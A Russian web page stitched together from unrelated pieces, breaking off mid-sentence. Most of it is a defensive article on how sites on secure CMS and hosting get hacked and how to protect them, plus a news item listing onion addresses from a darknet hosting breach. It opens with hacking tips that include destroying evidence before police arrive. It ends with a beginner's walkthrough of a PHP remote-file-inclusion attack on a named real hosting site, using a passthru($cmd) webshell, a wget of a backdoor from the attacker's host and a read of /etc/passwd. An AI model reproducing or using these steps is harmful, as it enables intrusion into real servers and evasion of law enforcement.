Взлом сервера через эксполит на сайте

Взлом сервера через эксполит на сайте Хостинг

Введение

как взламывают серверы

Далее следует проверить все, что выше 1024 порта. Почему? Дело в том, что программы, которые находятся на них, могут иметь уязвимости или кто-то раньше протроянил сервер. А вредоносное обеспечение всегда держит свою «дверцу» открытой. Далее узнают операционную систему.

Ах да, и если вы решитесь что-то взломать, то все записанные данные желательно уничтожить раньше, чем вас найдёт наша доблестная милиция. Этой информации хватит, чтобы осуществить простейший взлом. К тому же в интернете есть много сайтов, где публикуется информация о новых слабых местах.

А учитывая, что многие из серверов не обновляют свою безопасность из-за халатности или неквалифицированности администраторов, то многих из них можно взломать и по «старым» проблемам. Найти их можно с помощью специальных программ. Но если всё закрыто и нет ни одного подступа (что маловероятно), то ждите публикаций о новых дырах безопасности.

Почему взламывают даже защищённые cms на безопасном хостинге

Очевидно, что если у сайта есть уязвимости, то его можно взломать с помощью веб-атак. Но даже если сайт защищен техническими средствами, работает на надежной CMS, его все равно могут скомпрометировать. Каким образом это происходит и как защищать сайт от различных вариантов взлома не через веб-уязвимости — oб этом рассказал на

«1С-Битрикс» Григорий Земсков, руководитель компании «

».

С каждым годом растет число взломов и пострадавших от них владельцев сайтов. А в последние два года проблема безопасности сайтов становится особенно актуальной: в разы возросло число атак и объемы входящего опасного трафика, и, как следствие, количество взломанных ресурсов. Видя это, веб-мастеры и владельцы веб-проектов постепенно начинают осознавать проблему и интересоваться вопросами информационной безопасности сайтов, в частности, их защитой. Для того, чтобы грамотно защитить свой ресурс, владелец веб-ресурса должен понимать, какие есть варианты взлома, как действует злоумышленник, какие векторы атак наиболее критичны и как их закрыть.

К сожалению, существует очень много статей и видео, которые вводят в заблуждение интересующихся этими вопросами. Проблема здесь в том, что вопрос безопасности освещается однобоко, обычно рассматриваются только технические средства защиты. Причем не в полном объеме, а только те, которые блокируют веб-атаки. Это дает веб-мастерам чувство ложной защищенности и абсолютно не гарантирует бесперебойную работу веб-ресурса и защиту от несанкционированных изменений. В большинстве случаев у владельца сайта нет желания тратить свои ресурсы: деньги, время на безопасность проекта, поэтому выбирается на его взгляд оптимальная стратегия: использовать популярную коммерческую систему управления сайтом и разместить сайт на популярном хостинге. Все, вроде бы, логично: защищенная система работает в защищенной среде, то есть можно более не думать про безопасность и защиту. Но это всего лишь одно из популярных заблуждений про безопасность сайтов, наряду с тем, что достаточно одних лишь технических мер защиты.

Увы, все эти «мифы» — про использование лишь веб-атак для взлома сайтов, про защищенность CMS и достаточность технических мер, приводят к новым массовым взломам сайтов. Что же делать, чтобы этого не происходило? Необходим комплексный подход к вопросу безопасности сайта. Далее мы рассмотрим, почему нужно уделять постоянное и пристальное внимание как техническим средствам защиты, так и организационным мерам. Это важно хотя бы потому, что существует много вариантов взлома сайтов, которые выполняются нетехническими методами и без использования веб-уязвимостей.

Варианты взлома сайтов

Все варианты взлома сайтов можно условно разделить на три большие группы (выделены жёлтым, голубым и серым цветом):

Взлом сервера через эксполит на сайте

Больше всего говорят и пишут про взломы посредством веб-атак. Поскольку данный аспект освещен достаточно хорошо, в этой публикации я лишь вскользь упомяну о нем, а основной акцент хотелось бы сделать на двух незаслуженно забытых категориях: компрометации ресурсов техническими средствами без использования «человеческого фактора» (желтый блок) и взлом по вине подрядчиков и сотрудников, то есть тех, кто помогает обслуживать сайт. В количественном выражении взломы через веб составляют около 75%, чем и обусловлено столь пристальное внимание к этому классу.

Взлом сервера через эксполит на сайте

Что касается остальных двух, то они не такие популярные, но все же не менее важные. По нашей статистике, на взлом по вине подрядчиков и сотрудников приходится около 5% инцидентов. Но эта цифра постепенно растет, поскольку в настоящий момент много сайтов отдается на обслуживание в веб-студии, диджитал-агентства или фрилансерам.

Итак, рассмотрим варианты по-порядку. Начнем с самой многочисленной группы, взлом сайта посредством веб-атак:

  • В большинстве случаев это становится возможным в результате эксплуатации уязвимостей
    • в скриптах CMS, в плагинах и модулях. Разработчики допускают ошибки: недостаточно фильтруются входные параметры, не проверяются размещаемые в базе данные, информация выводится на странице «как есть», без безопасных преобразований.
    • в доработках. Можно поставить безопасную CMS, но при этом позвать неопытного разработчика. Он допишет плагин, в который внесет иногда не одну критическую уязвимость и через них взломают сайт. Веб-программист должен быть знаком с принципами безопасной разработки, а владельцу сайта следует обращаться к опытным подрядчикам.
  • Второй вариант взлома сайта возможен благодаря брутфорсу панелей администрирования, то есть подбору логинов/паролей. Это очень распространённый тип атаки, особенно на защищенные CMS. По-прежнему пользователи устанавливают короткие или словарные пароли, которые с легкостью перебираются злоумышленниками и могут быть подобраны за конечное время. В результате доступ к админ-панели можно получить буквально за несколько минут. Ситуация усугубляется тем, что доступ в панель администратора обычно не ограничивается дополнительными средствами, такими как двухфакторная аутентификация, разрешенным списком IP-адресов, а число неверных попыток входа не ограничено.

Защита от веб-атак

Избавиться от веб-атак нельзя, но им можно противодействовать. Ниже представлен список мер против взлома через веб.

  1. Необходимо обновлять CMS и скрипты. С каждой новой версией выходят патчи безопасности: закрываются уязвимости, исправляются ошибки. Всё это позволяет снизить вероятность взлома через веб, хотя и не защищает от него на 100%, потому что и в новых апдейтах, к сожалению, могут появиться новые «дыры».
  2. Необходимо минимизировать объем плагинов в CMS. Чем больше плагинов, тем больше вероятность наличия уязвимостей. В идеале, использовать решение «из коробки», с примененными патчами и критическими обновлениями, которые закрывают все известные публичные уязвимости в ядре CMS. Но, поскольку, функциональности не всегда хватает, то перед установкой плагинов нужно обязательно проверять, насколько они защищены и безопасны.
  3. Доработки нужно отдавать опытным веб-разработчикам, которые имеют представление о безопасности сайтов и источниках проблем, то есть понимают необходимость фильтрации входных и выходных параметров, безопасных алгоритмов аутентификации и авторизации, безопасного хранения данных и т.п.
  4. Трафик необходимо фильтровать. По статистике сервисов проксирования трафика, около 50% всех запросов идут от ботов, причем примерно четверть тех запросов – это атаки на веб-ресурс. Фильтрация запросов к сайту блокирует атаки, паразитный трафик и снижает нагрузку при DDOS- и брутфорс-атаках. Фильтровать можно как с помощью внешнего сервиса (Web Application Firewall/AntiDDOS), так и модуля веб-сервера (naxsi/mod_security). Еще одна полезная функция WAF – это виртуальный патчинг уязвимостей. Необязательно (да и не всегда возможно) ставить «заплатки» на скрипты, но WAF может выполнять виртуальный патчинг, то есть на лету блокировать опасные запросы, не давая эксплуатировать уязвимость. Кроме сервиса и модуля веб-сервера, файрвол бывает встроен в CMS. Он, конечно, не может быть полноценной заменой внешних сервисов WAF или AntiDDOS, но частично снижает вероятность взлома в результате веб-атак.
  5. Необходимо использовать плагины и сервисы для защиты от брутфорса. Скажем, установленный на VPS Fail2ban через несколько неудачных попыток авторизации на некоторое время блокирует клиента. Это существенно затрудняет и растягивает во времени подбор пароля.

Некоторые веб-мастера уже применяют перечисленные технические средства и меры защиты, и потому считают свои сайты неуязвимыми. Но, увы, сайт все равно могут взломать и завирусовать.

Если CMS неуязвима

Почему взламывают даже неуязвимые CMS на безопасном хостинге? Причина кроется в том, что существуют и другие варианты компрометации или заражения сайтов, совсем не обязательно, что сайт взломают через уязвимости в скриптах. Приведу несколько из них:

  • Из нашей практике, самый популярный вариант — это взлом через «соседей» по аккаунту. Например, на виртуальном хостинге размещен сайт, безопасности которого уделяется большое внимание: он работает на обновленной версии CMS, к нему применены технические средства защиты. Но на том же shared-аккаунте может быть размещено еще два десятка сайтов с уязвимыми версиями CMS, или размещаться старая тестовая версия сайта, про которую все давно забыли, а в ней может быть открыт загрузчик файлов или доступна без аутентификации админ-панель. Подобные незащищенные сайты и являются источниками проблем безопасности. Через их уязвимости можно внедрить администратора сайта в базу данных, загрузить веб-шелл или бэкдор, а затем получить полный контроль над аккаунтом хостинга. Почему это возможно? На shared-аккаунтах, где нет физической изоляции сайтов друг от друга, все данные расположены внутри общего файлового пространства (у файлов аккаунта общий пользователь операционной системы), то есть скрипты одного сайта могут читать, изменять, удалять скрипты, шаблоны и базу данных другого сайта на том же аккаунте. Это является причиной массовых взломов сайтов на аккаунте, когда однотипное заражение наблюдается на всех ресурсах виртуальной площадки.

    Это касается не только виртуальных хостингов, но и VPS-серверов. Часто, даже при технической возможности и абсолютной дешевизне, на выделенном сервере создается один административный аккаунт (пользователь admin), и внутри него размещается несколько десятков сайтов на различных CMS. А для взлома всего аккаунта достаточно иметь одну единственную критическую уязвимость на любом из этих сайтов. За пару секунд на каждый сайт будет загружено несколько десятков вредоносных скриптов, а процесс лечения будет напоминать вычерпывание воды из дырявой лодки: с одного сайта убрали вредоносный код, а он с другого опять «перешел» на вылеченный. Поэтому одно из базовых правил безопасности сайтов – изолированное размещение сайтов.

  • Следующий вариант взлома защищённого сайта — брутфорс SFTP/FTP-аккаунтов или SSH-доступов. Для своего удобства и к радости злоумышленников веб-мастера устанавливают слабые словарные пароли, которые попадают в ТОП-100, ТОП-1000 популярных и подбираются за пару часов.
  • Третий вариант — взлом через phpMyAdmin (а также другие инструменты, которыми пользуются веб-разработчики и администраторы). PhpMyAdmin — это средство администрирования базы данных. Распространяется по open source-лицензии, удобный, простой, доступный, его ставят на все хостинги и выделенные сервера под управлением популярных панелей. Самое интересное, что адрес у него почти всегда фиксированный. То есть можно набрать или /phpmyadmin, и откроется форма авторизации phpmyadmin. Если туда ввести пароль и логин от базы данных, которые можно узнать различными методами, вы получите доступ к базе данных. А дальше с помощью SQL-запроса можно внедрять вредоносный код в шаблоны, читать или создавать файлы на диске. А это уже могут быть бэкдоры, позволяющие загружать произвольные файлы и выполнять произвольный код. Многие хакеры напрямую внедряют код в базу данных, и при этом не оставляют никаких следов в файловой системе. То есть владелец сайта или веб-мастер просто не поймет, каким образом вирус появляется в коде страницы.

    На самом деле, он, порой, даже не знает о существовании phpMyAdmin, его публичной доступности и возможности взлома сайта через него.

    У читателя может возникнуть вопрос: каким образом злоумышленник узнает логины и пароли от базы данных, ведь для этого нужно получить доступ к файлу конфигурации CMS? На самом деле, получить данные для подключения к БД намного проще, чем кажется. Иногда запрос в поисковую систему Google позволяет найти очень много проиндексированных файлов, содержащий различную «чувствительную» информацию. Например, бэкапы сайтов с файлом настроек, или ошибочно проиндексированные файлы конфигурации. В качестве примера можно взять один старый запрос из Google Hacking Database – хакерской базы данных, содержащей запросы к Google для поиска проиндексированных уязвимых скриптов и чувствительных файлов.

    Взлом сервера через эксполит на сайте

    Вводим его в строку поиска и получаем примерно 288 тыс. файлов, которые содержат открытый логин, пароль, хост. Остается просто взять их оттуда, зайти на страницу /myadmin (или аналогичную для конкретного хостинга) и авторизоваться для проведения операций с базой данных.

    Второй вариант простого получения пароля от базы данных — это поиск бэкапов. Злоумышленник может получить несанкционированный доступ к резервным копиям сайта, если они лежат в корневом каталоге сайта (часто их называют backup.zip, backup.tar.g и т.п.) или в случае небезопасной настройки веб-сервера, когда каталог backup открыт для чтения по прямой ссылке (а иногда его даже индексирует поисковик). То есть злоумышленники по каким-то фиксированным путям (в WordPress это wp-content/uploads или /backups) могут перебрать различные имена файлов и выгрузить бэкап сайта. В этом архиве находится конфигурационный файл, в котором хранятся необходимые доступы к базе данных.

  • Еще один вариант заражения сайта – когда веб-мастер добровольно устанавливает зараженный компонент. Например, вместо покупки плагина или шаблона для сайта, он скачивает этот же архив с «варезных» сайтов или каталога тем. А в этом плагине уже «вшит» бэкдор или вредоносный код. Естественно, через некоторое время такой сайт взламывают.
  • И последний вариант, редко встречающийся у крупных хостеров, но периодически возникающий среди владельцев выделенных серверов – это «рутование» сервера (взлом сервера и получение административных полномочий). Это возможно в том случае, если программное обеспечение, компоненты операционной системы и сервисы содержат уязвимости или ошибки настройки. Если VPS-сервер не администрируется специалистом, то его достаточно быстро взламывают через известные уязвимости, а затем уже, как следствие, взламывают и все находящиеся на нем сайты.

Подытожу способы взлома не через веб:

  1. Перехват или кража доступов, то есть компрометация доступов к сайту.
  2. Брутфорс-атака на сервисы: SFTP, FTP, SSH или административную панель хостинга.
  3. Взлом сайтов через «соседей».
  4. Компрометация сервера хостинга, то есть получение несанкционированного доступа через уязвимости или ошибки настройки.

Защита от взлома

Как от этого защищаться?

  1. Нужно правильно подбирать хостера, обращать внимание на используемые технические средства и сервисы, на наличие изоляции сайтов внутри аккаунтов. Всё это значительно снижает вероятность взлома.
  2. Размещайте сайты изолированно. Не экономьте на безопасности, не ленитесь создавать для сайтов отдельные аккаунты. В идеале нужно размещать каждый сайт на отдельном аккаунте. Если это сервер, также создавайте для каждого сайта отдельный пользовательский аккаунт. Сейчас даже можно найти хостинг-компанию, у которой сайты размещаются изолированно внутри shared-аккаунта. Таких не много, но они есть.
  3. Используйте ограничение по IP или двухфакторную аутентификацию при входе в панель управления, при работе с FTP и SSH. Нужно обязательно устанавливать дополнительную защиту, то есть ограничивать доступ только для доверенного круга лиц.
  4. Регулярно меняйте пароли. Очевидный совет, которому следуют единицы. Это защищает во многих случаях, даже при компрометации доступов. Если злоумышленник не успел ими воспользоваться, то регулярная смена паролей позволяет сохранить свой доступ к сайтам. Дело в том, что вы не знаете, был ли факт компрометации и исходить нужно из пессимистичного сценария. Поэтому в качестве превентивной меры необходимо регулярно устанавливать новые пароли.

    Кроме того, важно не просто их менять, а иметь некую разработанную политику безопасности, определяющую процедуру смены паролей с точки зрения частоты и стойкости. Это должен быть спланированный и поддерживаемый процесс.

  5. При работе с сайтом по FTP/в админке используйте VPN для предотвращения перехвата доступов, чувствительных и конфиденциальных данных.
  6. Забудьте про FTP и заблокируйте его на хостинге, так как он небезопасен. Если на аккаунте есть такая возможность, подключите SFTP — это надстройка над SSH-протоколом для работы с файлами. В настоящий момент он поддерживается практически на всех хостингах. С точки зрения работы с файлами, разницы с FTP вы не заметите, а с точки зрения безопасности – разница колоссальная.
  7. Если вы очень часто пользуетесь какими-то функциями в панели управления, то создайте отдельный аккаунт с ограниченной функциональностью и вынесите эти популярные функции в этот аккаунт. Если у вас его и взломают, то получат только ограниченный доступ к управлению сайтами.

Когда виноват подрядчик или сотрудник

Порой «уязвимостью», через которую взламывают и заражают сайт, является сам человек. В частности – сотрудники и подрядчики, обслуживающие сайт: контент-менеджеры, SEO-специалисты, веб-разработчики. Какие проблемы безопасности подстерегают владельца сайта в этом случае?

  1. Недобросовестный подрядчик. Часто бывают ситуации, когда сайты отдаются на обслуживание фрилансерам, которые не всегда добросовестны. Например, есть вероятность, что в результате сотрудничества ему что-то не понравится, покажется мало денег, он обидится на критику и начнет шантажировать владельца сайта доступами. Или он просто использует свои полномочия администратора и повредит сайт. Поскольку у подрядчика есть полный контроль над сайтом, он может внедрить на страницы вредоносный код, может начать продавать на нем ссылки с биржи Sape.ru/Trustlink/и пр., размещать несанкционированную рекламу. И порой владелец сайта или менеджер проекта не догадываются, что бывший веб-мастер «паразитирует» на веб-ресурсе, оставив на нем свои «закладки».
  2. Бывает, что подрядчик устанавливает плагины, которые содержат уязвимости или бэкдоры. Например, владелец сайта находит красивый плагин галереи для сайта и просит фрилансера купить и настроить этот модуль. Фрилансер находит такой же плагин на «варезном» сайте, берет деньги с заказчика на покупку, но на самом деле скачивает бесплатно. В «нулленом» варианте будет присутствовать некая «полезная» нагрузка в виде бэкдора или «черных» seo-ссылок. Владелец сайта об этом скорее всего никогда не узнает, потому что не будет проверять то, что установил фрилансер.
  3. Утечка доступов — тоже очень серьезный момент, потому что часто подрядчики не задумываются о безопасности клиентских доступов и сайтов, и небрежно ими распоряжаются. Например, крупное диджитал-агентство обычно работает по различным задачам с партнерами (субподрядчиками), которым передаются клиентские доступы, и что с ними делают партнеры, никто не знает. Эти доступы могут передаваться открыто через мессенджеры по небезопасному сетевому подключению, сохраняться в текстовых файлах, храниться в различных незащищенных CRM и т.п. В итоге шансов раскрытия данных доступов масса, и достаточно сложно будет найти причину компрометации.

    Самый живой пример — это когда такой партнер крупного диджитал-агентства сидит в кафе, обновляет сайт по FTP, а где-нибудь рядом с ним устроился хакер, который перехватывает трафик в той же WIFI сети. Или роутер, через который работает специалист в коворкинг-кафе, заражен трояном. Вредоносное ПО собирает все эти доступы и передает злоумышленникам. Сейчас подобное уже не редкость, перехват траффика в открытых сетях – операция очень простая и эффективная. Поэтому работать в публичном месте без активного VPN – это почти преступление.

  4. И последний вариант — использование социальной инженерии. Скажем, подрядчику, приходит фишинговое письмо: «Ваш сайт взломали! Пожалуйста, срочно смените пароль!» и ссылка. Напуганный исполнитель в замешательстве кликает по ссылке, ему открывается знакомая форма авторизации CMS, но он не замечает, что страница загружена с подставного сайта злоумышленника. Вводит пароль и последний благополучно отсылается хакеру.

Что делать? Как защититься?

Для защиты от подобных инцидентов и проблем владелец сайта наряду с техническими средствами должен внедрять и организационные меры защиты.

  1. Управлять доступами. Владелец должен знать, когда и как их менять, у кого они есть, кому их передавать и в каком объеме. Это защитит от многих проблем.
  2. Проводить аудит безопасности после выполнения работ подрядчиком. Файлы, базу и страницы сайта можно проверить самостоятельно с помощью доступных сканеров или инструментов для контроля целостности, а можно обратиться к соответствующим специалистам по безопасности.
  3. Инструктировать подрядчиков. Обязательно нужно составить руководство по безопасной работе с сайтом для сотрудников и подрядчиков и проинструктировать по нему. Многие специалисты могут отлично выполнять свои задачи, но не задумываться о безопасности сайта.
  4. Работать по договору и с проверенными компаниями. Сотрудничество с фрилансерами часто оборачивается проблемами безопасности с сайтом.

В заключение

Безопасность – это непрерывный процесс, которому требуется пристальное внимание. Только в случае комплексного подхода к безопасности, включающего в себя обязательное использование технических средств и организационных мер, ваш сайт будет надежно защищен.

.htaccess

Ну и конеч­но же, нель­зя не ска­зать о том, что вла­дель­цы сай­тов зачас­тую оставля­ют дос­тупны­ми на чте­ние некото­рые дирек­тории. В том же WordPress чаще все­го мож­но попасть в эти слу­жеб­ные пап­ки:

  • /wp-content/;
  • /wp-content/plugins/;
  • /wp-content/themes/;
  • /wp-content/uploads/files/;
  • /images/.

Оче­вид­но, что делать там пос­торон­ним совер­шенно нечего, пос­коль­ку в таких пап­ках может хра­нить­ся кри­тич­ная информа­ция, в том чис­ле доволь­но‑таки кон­фиден­циаль­ная.

Содержимое папки /uploads/files/ одной государственной больнички
Со­дер­жимое пап­ки /uploads/files/ одной государс­твен­ной боль­нич­ки

Зап­ретить дос­туп к слу­жеб­ным пап­кам мож­но, опять же уста­новив соот­ветс­тву­ющий шаб­лон, или самым прос­тым спо­собом — помес­тить в кор­не каж­дой дирек­тории пус­той файл index.html (либо добавить в .htaccess сай­та строч­ку Options All -Indexes).

Кро­ме того, нуж­но осмотри­тель­но обра­щать­ся с коман­дой chmod, осо­бен­но при раз­даче прав куче вло­жен­ных дирек­торий на запись и выпол­нение скрип­тов. Пос­ледс­твия таких необ­думан­ных дей­ствий могут быть самыми неожи­дан­ными.

В даркнете взломан хостинг deep hosting, похищены данные пользователей

Журналисты издания Bleeping Computer сообщили, что в минувшие выходные был взломан даркнет-хостинг Deep Hosting. Известно, что в ходе инцидента пострадали клиенты сервиса.

Согласно официальному заявлению администрации, взлом произошел после того, как злоумышленник зарегистрировал аккаунт виртуального хостинга на Deep Hosting. Взломщик использовал учетную запись для загрузки на серверы проекта двух шеллов, один из которых был написан на PHP, а другой на Perl.

«Большая часть PHP шелла оказалась непригодной к использованию, так как ряд функций были заблокированы для виртуального хостинга, но одна функция блокирована не была. Атакующий сумел получить доступ к серверу и выполнить команды с ограниченными правами», — пишут представители Deep Hosting.

Судя по опубликованной администрацией хронологии событий, операторам Deep Hosting потребовались почти сутки, чтобы понять, что произошло, перевести скомпрометированный сервер в read only состояние и начать экстренно менять все FTP и SQL пароли пользователей.

Представители Bleeping Computer пишут, что им удалось связаться с самим взломщиком, который скрывается под псевдонимом Dhostpwned. Злоумышленник охотно поделился с журналистами списком, содержащим адреса 91 скомпрометированного сайта (список можно найти в конце данного материала).

«Я их взломал. С точки зрения безопасности их виртуальный хостинг был ужасен, — заявил Dhostpwned. — У меня на руках большинство файлов, хостившихся на их сайте, все их SQL базы данных. Там хостилась и сеть заказных убийств, но я не смог туда добраться, потому что это был их VPS-хостиг, и у них нет никакой панели доступа к VPS».

В качестве доказательства взлома Dhostpwned загрузил в корневую директорию M.N.G Market текстовый файл, которой можно увидеть на скриншоте ниже. Дело в том, что в отличие от администраторов других сайтов Deep Hosting, операторы M.N.G Market забыли сменить пароль по умолчанию от своего VPS box. Сразу после этого торговая площадка ушла в оффлайн, а злоумышленник признал, что случайно стер MBR на их жестком диске.

Стоит отметить, что это не первый взлом провайдера даркнет-хостинга. В феврале 2022 года был взломан Freedom Hosting II, и в результате атаки компрометации подверглись 10 613 .onion-сайтов. Тогда неизвестный хакер сообщал, что поводом для атаки послужило детское порно, которое в нарушение всех правил свободно размещалось на серверах Freedom Hosting II.

Атака на Deep Hosting явно не повлечет за собой столь масштабных последствий. Все же на этот раз пострадало меньшее количество сайтов, к тому же, Dhostpwned заявил, что он не собирается публиковать и продавать похищенные данные клиентов хостинг-провайдера.

23mg64vxd2t6kurv.onion
27msssu6jaqhuk6m.onion
33qvlt5je5kif3jq.onion
3kqpypputjn2dhpp.onion
5ehtvrvuf2ef5h5h.onion
5xwgogyjnfcvrmvj.onion
654krjf5q6iupjot.onion
66xflun3ot54h6re.onion
6ccxadxrr4g3qm7d.onion
acteamwneyw3ik2w.onion
alphaor4wguil6wo.onion
anpbcfvqjg2txyw4.

onion
aom6u55durkqpwaz.onion
assassinuyy7h525.onion
azo3mftev62hfckw.onion
azvjv2ji2ucukemz.onion
b6kbmmeh5qivsr47.onion
bzp2k3z63s4js3mo.onion
c7wgwx7zlmqntrm5.onion
cardobgwrjlzzqfl.onion
cbossftu5bjk5nx6.onion
ccguruetr5jwye5g.

onion
cd2bkzxjx7vq3gxc.onion
cerberxypcgoxiw5.onion
clonedxpjlq5764s.onion
dc5clejbfoaxcqbk.onion
dhostov5qbwwyhcw.onion
dhwikikgqceifior.onion
dpanely75rdnw7yv.onion
dxke6tzygtgqvb6a.onion
e5nocpxm3rccdjeq.onion
e6wdnr4mcrzzefkt.

onion
eurx66uednuvulfh.onion
feap5rllvmqi7lka.onion
g3n3bnjwhwokjco7.onion
g6ipitbghd6qutma.onion
gadmai6ebvzji6v6.onion
gbpoundzv2ot73eh.onion
gdbvx3pywrphpd5a.onion
hwikikijkk5g6acr.onion
iacwsvpfd4q43oer.onion
icloud4ho7bmn662.

onion
imlz5jkbdcgl2c7s.onion
ji4qnwqney7siu2r.onion
jqcpeb5d77npwgyi.onion
k6sblsjcsgqpeym7.onion
kshdh5ipnl62xu2i.onion
lxhbgl43362zhmoc.onion
lxtrcj4uf3kxdhth.onion
mngmt4bouza7mobn.onion
mpt374ndlhhaxcsd.onion
mxs3tmyprhbne25m.

onion
mz252nufkj42unlf.onion
n7gaof3th7hbktct.onion
nddgne7tasavd65z.onion
nfi3plp7famvohxm.onion
openwikicra5e6y2.onion
pacho2llwjm3c7ko.onion
q7ozu2gu7xt74gxk.onion
qyhaps2d7mzwwund.onion
rampshqaygkfwphb.onion
rj3herig755gboy5.onion
rothminhoy6dq45c.

onion
scant2tnmpah5uao.onion
sholq4wfbybbzvj7.onion
shops64lgjykjrkp.onion
sux4lbtmxux5ou4f.onion
teekvknyeypyzpst.onion
teranovif5tsxdb6.onion
terrafmx663yli7u.onion
tgfc3mn2c6m6zga5.onion
tnmarkyzsx7xfbdg.onion
torwikica2juwzcg.onion
trinixy73gm6z4fq.onion
twiljiy37asd3t24.onion
ucdanzi5vdstr2gl.onion
unoppqar7cy3zvux.

onion
vkzw2vhqqt7vvirr.onion
vn4bhyvlquetya7e.onion
vzpqzsukomqmlocz.onion
warezj5fngb44vn5.onion
webde3vkni6mhr3v.onion
xigjkusfkt2zvcvn.onion
xosnp3buimehxvma.onion
xwl45tkgnd7dv5ta.onion
y4rxzpod66bxgr4q.onion
zaoklnavsgzaxhf4.onion
zerodwbjcejayq7v.onion
zhqwte56j3xbnzdu.onion
zi5ivi3ufa7ijqys.onion
zoyel6xobic62353.onion

Взлом сайта по вине подрядчиков или сотрудников


Вы передаёте доступы к сайту и хостингу своему подрядчику для выполнения каких-то работ. Подрядчик действует быстро и профессионально: желаемые изменения на сайт внесены, сайт снова работает, как часы.

Но через некоторое время вы замечаете, что трафик снижается, а в статистике сайта появляются переходы на сторонние сайты. Что случилось? Не спешите подозревать веб-мастера, что он сделал это целенаправленно. Возможно, произошла кража доступов или его компьютер был заражен (о чём мы писали ранее).

Здесь правила очень просты: хотите управлять безопасностью своего сайта при работе с подрядчиками — управляйте доступами к веб-ресурсу. Что это значит?

  • Предоставляйте доступы подрядчикам на минимальный срок и с минимальными привилегиями. То есть, если фрилансеру нужно поправить какой-то шаблон на сайте, не стоит ему давать root-пароль от сервера. Достаточно дать SFTP или SSH доступ, создать пользователя с минимальными, но достаточными правами и предоставить SFTP-подключение в каталог, где лежит указанный шаблон.
  • Возьмите за правило проводить аудит сайта, после того как подрядчик выполнил все работы. Это можно сделать самостоятельно после выполнения работ путем сравнения файлов или с помощью привлеченных сторонних специалистов.
  • Для самостоятельной проверки сайтов мы рекомендуем использовать бесплатные сканеры вредоносного кода AI-BOLIT и веб-сканер ReScan.pro. Они помогут быстро проверить сайты на вирусы и вредоносный код.
  • Работайте на договорной основе, сотрудничество на «честном слове» может неприятно разочаровать.
  • Инструктаж подрядчиков — необходимая составляющая комплекса мероприятий по безопасной работе с веб-ресурсом. Часто, когда задачу нужно сделать быстро — например, срочно поправить что-то в шаблонах или скриптах — правила безопасности могут игнорироваться, а в результате владелец сайта столкнется с неприятными последствиями. Не забываем, что сотрудника можно обмануть и он добровольно передаст доступы третьим лицам.

Самый яркий случай из нашей практики был связан с передачей доступов от хостинга секретаршей компании клиента. Злоумышленники представились техподдержкой, обслуживающей сайты компании, и, ссылаясь на срочность выполнения одной из задач по просьбе руководства, обманным путем смогли получить пароль от аккаунта хостинга.

В современных условиях агрессивного интернета владельцам сайтов чрезвычайно важно выработать для себя политику безопасности при работе с веб-ресурсом. И речь идет не только о технических мерах, но и организационных — это и правила работы с подрядчиками, и правила работы с сайтом внутри компании. Часто этой самой «уязвимостью» вашего сайта является сам человек.

  • Сделать полную резервную копию текущей версии сайта, чтобы сохранить следы взлома.
  • Запросить в техподдержке хостинга журналы веб-сервера за максимально возможный период времени.
  • Заблокировать доступ к сайту через веб, сменить все пароли и незамедлительно обратиться к специалистам.

И в заключение — старайтесь сделать процесс обеспечения безопасности сайта как можно более удобным для вас и ваших сотрудников (чтобы это было не сильно сложно / затратно по времени / скучно и так далее). Иначе инструкция будет говорить одно, а люди через некоторое время всё равно будут её игнорировать.

Мнение редакции может не совпадать с мнением автора. Если у вас есть, что дополнить — будем рады вашим комментариям. Если вы хотите написать статью с вашей точкой зрения — прочитайте правила публикации на Cossa.

Взлом хостинга .mx: php инклудинг на практике

Эта статья будет интересна в первую
очередь начинающим хакерам. В ней я
попытаюсь объяснить как применять php
инклудинг.

Сидя вечером 20 декабря Интернете я прочитал
о только что найденной уязвимости в форуме
phpCOIN. Статья называлась «PHP-инклудинг
в phpCOIN v.1.2.2″ Вот как выглядит данная
уязвимость:

http://[target]/[path]/config.php?_CCFG[_PKG_PATH_DBSE]=http://[location]

Затем я пошел на www.altavista.com, набил для поиска
phpCOIN 1.2.2 и стал разгребать найденные ссылки.
И решил остановиться на сайте www.bajahosting.com.mx.
На нем висел дырявый форум www.bajahosting.com.mx/phpcoin.

Приводим строку к виду http://www.bajahosting.com.mx/phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=

Видим:
Warning: main(db_mysql.php): failed to open stream: No
such file or directory in /home/ameza/public_html/phpcoin/coin_includes/db.php
on line 37
Fatal error: main(): Failed opening required ‘db_mysql.php’ (include_path=’.:/usr/lib/php:/usr/local/lib/php’)
in /home/ameza/public_html/phpcoin/coin_includes/db.php on line 37

Можно загружать с других сайтов. Для этого
создаем страницу, например на Народе: http://exit20052005.narod.ru.
Пробуем:

http://www.bajahosting.com.mx/phpcoin/config.php?_CCFG [_PKG_PATH_DBSE]=http://exit20052005.narod.ru
В броузере:

Warning: main(): php_network_getaddresses: getaddrinfo
failed: Name or service not known in /home/ameza/public_html/phpcoin/coin_includes/db.php
on line 37
Warning: main(http://exit20052005.narod.rudb_mysql.php): failed to open stream:
Permission denied in /home/ameza/public_html/phpcoin/coin_includes/db.php on
line 37
Fatal error: main(): Failed opening required ‘http://exit20052005.narod.rudb_mysql.php’
(include_path=’.:/usr/lib/php:/usr/local/lib/php’) in /home/ameza/public_html/phpcoin/coin_includes/db.php
on line 37

Т.е. теперь нам надо создать файл db_mysql.php и
поместить на http://exit20052005.narod.ru. Файл db_mysql.php
будет следующего содержания:

<pre>
<? passthru($cmd); ?>
</pre>

Вводим http://www.bajahosting.com.mx/phpcoin/config.php?_CCFG [_PKG_PATH_DBSE]=http://exit20052005.narod.ru/
и наблюдаем:

Warning: passthru(): Cannot execute a blank command in
http://exit20052005.narod.ru/db_mysql.php on line 2
Fatal error: Cannot instantiate non-existent class: db_funcs in /home/ameza/public_html/phpcoin/coin_includes/core.php
on line 63

Этот скрипт позволяет нам выполнять
команды на серваке. Вводим в броузере:

http://www.bajahosting.com.mx/phpcoin/config.php?_CCFG [_PKG_PATH_DBSE]=http://exit20052005.narod.ru/&cmd=ls

Эта команда позволяет просматривать файлы
директории с правами nobody. О том какие
команды вводить я писать не буду, об этом
писалось много раз в предыдущих статьях. Я
пролазил по всем доступным мне директориям
сайта, пытаясь найти зашифрованные пароли
пользователей, пароли к mysql и другую
полезную информацию. Но увы, зашифрованных
паролей не нашел. Пытался запустить на
серваке бекдор:

http://www.bajahosting.com.mx/phpcoin/config.php?_CCFG [_PKG_PATH_DBSE]=http://exit20052005.narod.ru/&cmd=
wget -O shell.pl http://exit20052005.narod.ru/shell.pl

но ничего не получилось, мне выдало:

Script or Action Blocked

Файл /etc/passwd был конечно же без пассов, но
зато содержал логины всех юзеров. Я решил
